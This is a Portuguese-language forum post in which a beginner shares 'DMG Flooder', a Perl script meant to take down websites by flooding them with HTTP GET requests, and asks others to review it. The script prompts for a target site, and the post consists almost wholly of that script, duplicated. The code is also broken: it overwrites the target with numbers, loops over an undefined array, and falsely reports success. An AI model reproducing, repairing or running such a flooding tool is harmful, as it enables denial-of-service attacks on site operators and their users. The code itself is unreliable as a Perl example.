Olá galera,,,
criei um script Perl que serve pra floodar sites, e ainda não tenho certeza se ele funciona, pois sou iniciante na lingugem, por isso eu estou colocando ele aqui para vcs darem uma olhada, e me ajudar se tiver algo errado...
criei um script Perl que serve pra floodar sites, e ainda não tenho certeza se ele funciona, pois sou iniciante na lingugem, por isso eu estou colocando ele aqui para vcs darem uma olhada, e me ajudar se tiver algo errado...
#!/usr/bin/perl
use HTTP::Request;
use LWP::UserAgent;
###############CABEÇALHO##########################
####NÃO RETIRE OS CRÉDITOS ######################
# Desenvolvido por Danklis
# E-mail: danilo.danklis@gamil.com
# DMG Flooder v 1.0
print "\n DMG Flooder.pl\n";
print " Desenvolvido por Danklis\n";
print " Derrube sites com muito pouco tempo!\n\n";
print "Entre com o site para ataque: ";
$site = <STDIN>;
chomp $site;
if ( $site !~ /^http:/){
$site = 'http://' . $site;
}
print "O site digitado é: $site.\nTecle S para cotinuar.\n(Para parar o ataque tecle: Crtl + C): ";
$op = <STDIN>;
chomp $op;
while ( $op !~ "S" ){
print "\n DMG Flooder.pl\n";
print " Desenvolvido por Danklis\n";
print " E-mail: danilo.danklis@gmail.com\n\n";
print "Entre com o site para ataque: ";
$site = <STDIN>;
chomp $site;
if ( $site !~ /^http:/){
$site = 'http://' . $site;
}
print "O site digitado é: $site.\nTecle S para cotinuar.\n(Para parar o ataque tecle: Crtl + C): ";
$op = <STDIN>;
chomp $op;
while ( $op !~ "S" ){
}
while ( $op == "S" ){
for ( $site = 1000000; $site < 10000000; ++$site){
print "$site\n";
foreach $ways(@path1){
$final=$site.$ways;
my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);
}
}
print "O site foi atacado com sucesso!";
}
}
while ( $op == "S" ){
for ( $site = 1000000; $site < 10000000; ++$site){
print "$site\n";
foreach $ways(@path1){
$final=$site.$ways;
my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);
}
}
print "O site foi atacado com sucesso!";
}
use HTTP::Request;
use LWP::UserAgent;
###############CABEÇALHO##########################
####NÃO RETIRE OS CRÉDITOS ######################
# Desenvolvido por Danklis
# E-mail: danilo.danklis@gamil.com
# DMG Flooder v 1.0
print "\n DMG Flooder.pl\n";
print " Desenvolvido por Danklis\n";
print " Derrube sites com muito pouco tempo!\n\n";
print "Entre com o site para ataque: ";
$site = <STDIN>;
chomp $site;
if ( $site !~ /^http:/){
$site = 'http://' . $site;
}
print "O site digitado é: $site.\nTecle S para cotinuar.\n(Para parar o ataque tecle: Crtl + C): ";
$op = <STDIN>;
chomp $op;
while ( $op !~ "S" ){
print "\n DMG Flooder.pl\n";
print " Desenvolvido por Danklis\n";
print " E-mail: danilo.danklis@gmail.com\n\n";
print "Entre com o site para ataque: ";
$site = <STDIN>;
chomp $site;
if ( $site !~ /^http:/){
$site = 'http://' . $site;
}
print "O site digitado é: $site.\nTecle S para cotinuar.\n(Para parar o ataque tecle: Crtl + C): ";
$op = <STDIN>;
chomp $op;
while ( $op !~ "S" ){
}
while ( $op == "S" ){
for ( $site = 1000000; $site < 10000000; ++$site){
print "$site\n";
foreach $ways(@path1){
$final=$site.$ways;
my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);
}
}
print "O site foi atacado com sucesso!";
}
}
while ( $op == "S" ){
for ( $site = 1000000; $site < 10000000; ++$site){
print "$site\n";
foreach $ways(@path1){
$final=$site.$ways;
my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);
}
}
print "O site foi atacado com sucesso!";
}
Comment